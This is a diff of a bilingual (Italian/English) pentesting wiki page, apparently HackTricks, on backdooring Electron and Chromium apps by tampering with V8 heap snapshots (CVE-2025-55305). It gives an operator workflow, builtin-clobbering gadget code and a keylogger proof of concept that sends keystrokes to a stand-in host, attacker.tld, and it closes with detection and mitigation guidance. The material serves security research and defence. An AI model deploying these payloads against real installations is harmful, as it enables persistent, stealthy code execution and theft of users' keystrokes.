[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) trovi un laboratorio per sfruttare applicazioni Electron vulnerabili. +In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puoi trovare un laboratorio per sfruttare applicazioni Electron vulnerabili. Alcuni comandi che ti aiuteranno con il laboratorio: ```bash @@ -458,20 +458,20 @@ cd vulnerable1 npm install npm start ``` -## Backdoor locale tramite manomissione dello snapshot heap V8 (Electron/Chromium) – CVE-2025-55305 +## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305 -Le app basate su Electron e Chromium deserializzano uno snapshot heap V8 precompilato all'avvio (v8_context_snapshot.bin, e opzionalmente browser_v8_context_snapshot.bin) per inizializzare ogni V8 isolate (main, preload, renderer). Storicamente i fuse di integrità di Electron non consideravano questi snapshot come contenuto eseguibile, quindi sfuggivano sia all'enforcement di integrità basato sui fuse sia ai controlli di code-signing del sistema operativo. Di conseguenza, sostituire lo snapshot in un'installazione scrivibile dall'utente forniva esecuzione di codice persistente e stealthy all'interno dell'app senza modificare i binari firmati o l'ASAR. +Le app basate su Electron e Chromium deserializzano uno snapshot della heap V8 precompilato all'avvio (v8_context_snapshot.bin, e opzionalmente browser_v8_context_snapshot.bin) per inizializzare ogni V8 isolate (main, preload, renderer). Storicamente, i fuse di integrità di Electron non trattavano questi snapshot come contenuto eseguibile, quindi sfuggivano sia all'enforcement di integrità basato sui fuse sia ai controlli di code-signing del sistema operativo. Di conseguenza, sostituire lo snapshot in un'installazione scrivibile dall'utente permetteva l'esecuzione stealthy e persistente di codice all'interno dell'app senza modificare i binari firmati o l'ASAR. -Punti chiave -- Falla di integrità: EnableEmbeddedAsarIntegrityValidation e OnlyLoadAppFromAsar validano il JavaScript dell'app all'interno dell'ASAR, ma non coprivano gli snapshot heap V8 (CVE-2025-55305). Anche Chromium similmente non effettua il controllo di integrità sugli snapshot. -- Precondizioni dell'attacco: scrittura locale di file nella directory di installazione dell'app. Questo è comune su sistemi dove le app Electron o i browser Chromium sono installati in percorsi scrivibili dall'utente (es., %AppData%\Local su Windows; /Applications con avvertenze su macOS). -- Effetto: esecuzione affidabile di JavaScript dell'attaccante in qualsiasi isolate sovrascrivendo un builtin usato frequentemente (un “gadget”), permettendo persistenza ed elusione della verifica della firma del codice. -- Superficie interessata: app Electron (anche con i fuse abilitati) e browser basati su Chromium che caricano snapshot da posizioni scrivibili dall'utente. +Key points +- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots. +- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS). +- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification. +- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations. -Generare uno snapshot maligno senza compilare Chromium -- Usare il prebuilt electron/mksnapshot per compilare un payload JS in uno snapshot e sovrascrivere il v8_context_snapshot.bin dell'applicazione. +Generating a malicious snapshot without building Chromium +- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin. -Esempio di payload minimale (provare l'esecuzione forzando un crash) +Example minimal payload (prove execution by forcing a crash) ```js // Build snapshot from this payload // npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" @@ -485,11 +485,11 @@ Array.isArray = function () { throw new Error("testing isArray gadget"); }; ``` -Gestione del routing del payload in base all'isolate (esegue codice diverso nel main rispetto al renderer) -- Rilevamento del processo main: globali disponibili solo in Node come process.pid, process.binding(), o process.dlopen sono presenti nell'isolate del processo main. -- Rilevamento browser/renderer: globali disponibili solo nel browser come alert sono disponibili quando si esegue in un contesto di documento. +Isolate-aware payload routing (eseguire codice diverso nel processo principale vs. renderer) +- Rilevamento del processo principale: globali esclusivi di Node come process.pid, process.binding(), o process.dlopen sono presenti nell'isolate del processo principale. +- Rilevamento browser/renderer: globali esclusivi del browser come alert sono disponibili quando si esegue in un contesto document. -Esempio di gadget che sonda una volta le capacità Node del processo principale +Esempio di gadget che verifica una sola volta le capacità Node del processo principale ```js const orig = Array.isArray; @@ -518,7 +518,7 @@ process.exit(0); return orig(...arguments); }; ``` -PoC di esfiltrazione di dati da Renderer/browser-context (es. Slack) +PoC di furto di dati dal renderer/contesto del browser (es., Slack) ```js const orig = Array.isArray; Array.isArray = function() { @@ -542,31 +542,27 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no return orig(...arguments); }; ``` -Flusso di lavoro dell'operatore -1) Scrivere payload.js che clobbers un builtin comune (es., Array.isArray) e opzionalmente effettua branch per isolate. -2) Costruire lo snapshot senza i sorgenti di Chromium: +Operator workflow +1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate. +2) Build the snapshot without Chromium sources: - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" -3) Sovrascrivere il/i file di snapshot dell'applicazione target: +3) Overwrite the target application’s snapshot file(s): - v8_context_snapshot.bin (always used) - browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used) -4) Avviare l'applicazione; il gadget viene eseguito ogni volta che il builtin scelto viene utilizzato. +4) Launch the application; the gadget executes whenever the chosen builtin is used. -Note e considerazioni -- Integrity/signature bypass: i file di snapshot non sono trattati come eseguibili nativi dai controlli di code-signing e (storicamente) non erano coperti dai fuses di Electron o dai controlli di integrità di Chromium. -- Persistence: Sostituendo lo snapshot in un'installazione scrivibile dall'utente tipicamente sopravvive ai riavvii dell'app e sembra un'app firmata e legittima. -- Chromium browsers: Lo stesso concetto di manomissione si applica a Chrome/derivati installati in posizioni scrivibili dall'utente. Chrome ha altre mitigazioni d'integrità ma esclude esplicitamente gli attacchi fisicamente locali dal suo modello di minaccia. +Notes and considerations +- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls. +- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app. +- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model. -Rilevamento e mitigazioni -- Trattare gli snapshot come contenuto eseguibile e includerli nell'enforcement dell'integrità (CVE-2025-55305 fix). -- Preferire location di installazione scrivibili solo da admin; stabilire baseline e monitorare gli hash per v8_context_snapshot.bin e browser_v8_context_snapshot.bin. -- Rilevare early-runtime builtin clobbering e cambiamenti inattesi degli snapshot; generare alert quando gli snapshot deserializzati non corrispondono ai valori attesi. +Detection and mitigations +- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix). +- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin. +- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values. -## **References** +## **Riferimenti** -- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/) -- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt) -- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674) -- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908) - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)